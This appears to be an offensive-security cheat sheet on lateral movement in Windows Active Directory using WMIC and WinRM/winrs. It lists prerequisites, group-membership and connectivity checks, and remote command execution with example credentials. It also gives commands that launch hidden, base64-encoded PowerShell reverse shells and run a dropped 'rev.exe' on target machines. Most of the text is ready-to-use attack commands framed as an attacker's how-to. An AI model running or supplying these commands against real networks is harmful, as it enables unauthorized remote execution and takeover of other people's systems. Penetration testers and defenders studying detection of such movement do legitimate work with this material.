π₯ Wmi & Winrm
Wmicβ
π§ Whatβs the Deal?β
WMIC (Windows Management Instrumentation Command-line) is a built-in tool in Windows that lets administrators (or attackers) interact with WMI. Attackers abuse it for lateral movement without dropping extra files (living-off-the-land).
The attacker uses WMIC to remotely execute a process on another machine in the network.
π§° Gear Up (Prereqs)β
There are certain requirements for this attack to work
- Credentials of a domain user (member of local Administrators group)
- Network connectivity to target over TCP 135 (RPC) and TCP 445 (SMB)
- Remote WMI & DCOM access allowed (often open in AD).
- transfer
wmictool in the windows machine.
Quick checks before Exploitationβ
before diving into exploitation it's better to check if you can execute command or not and you have relevent access
Check Group MemberShipsβ
- Remote Management Users β required for WinRM.
- Distributed COM Users β for WMI.
- Administrators / Domain Admins β best-case, gives full control.
Get-DomainGroupMember -Identity "Remote Management Users"
Get-DomainGroupMember -Identity "Distributed COM Users"
Checking Network Accessβ
Test-NetConnection -ComputerName 192.168.206.97 -Port 5985
Check If winRM enabledβ
winrm quickconfig
Checking WMIβ
wmic /node:TARGET_IP /user:DOMAIN\User /password:Pass123 os get caption
OR PowerShell Command
Get-WmiObject -Class Win32_OperatingSystem -ComputerName TARGET -Credential DOMAIN\User
Checking WINRMβ
winrs -r:TARGET_IP -u:DOMAIN\User -p:Pass123 ipconfig
OR PowerShell command
Enter-PSSession -ComputerName TARGET -Credential DOMAIN\User
π Launch Sequence (How-To)β
Use below commands to create new process and execute commands
Using wmic toolβ
- To execute commands
wmic /node:TARGET_IP /user:DOMAIN\user /password:Pass123 process call create "cmd.exe /c whoami"
/node: β target system/user: and/password: β credentialsprocess call createβ creates a process remotely- This runs
whoamion the target and returns results.
- To get reverse shell using powershell
wmic /node:TARGET process call create "powershell -enc <base64_payload>"
- To execute binaries on the remote machine
wmic /node:TARGET_IP process call create "C:\Users\Public\rev.exe"
Using winrs toolβ
Itβs like WMIC, but instead of WMI/DCOM, it uses WinRM (Windows Remote Management) over HTTP/HTTPS (ports 5985 / 5986).
PreReqβ
- Valid credentials (domain/local user).
- Target machine must have WinRM enabled (default on servers, often disabled on workstations).
- User must be allowed in the βRemote Management Usersβ group or be an administrator on the target.
Commandsβ
- Executing commands
winrs -r:TARGET_IP -u:DOMAIN\user -p:Password123 "ipconfig /all"
-r: β target host (IP or hostname).-u: and-p: β credentials.- The
quoted partis the command executed remotely.
- Executing binaries (like reverse shell)
winrs -r:TARGET_IP "C:\Users\Public\rev.exe"
- Run powershell commands (for reverse shell)
winrs -r:TARGET_IP -u:DOMAIN\user -p:Password123 "powershell -nop -w hidden -e <base_64_enc_PS_Command>"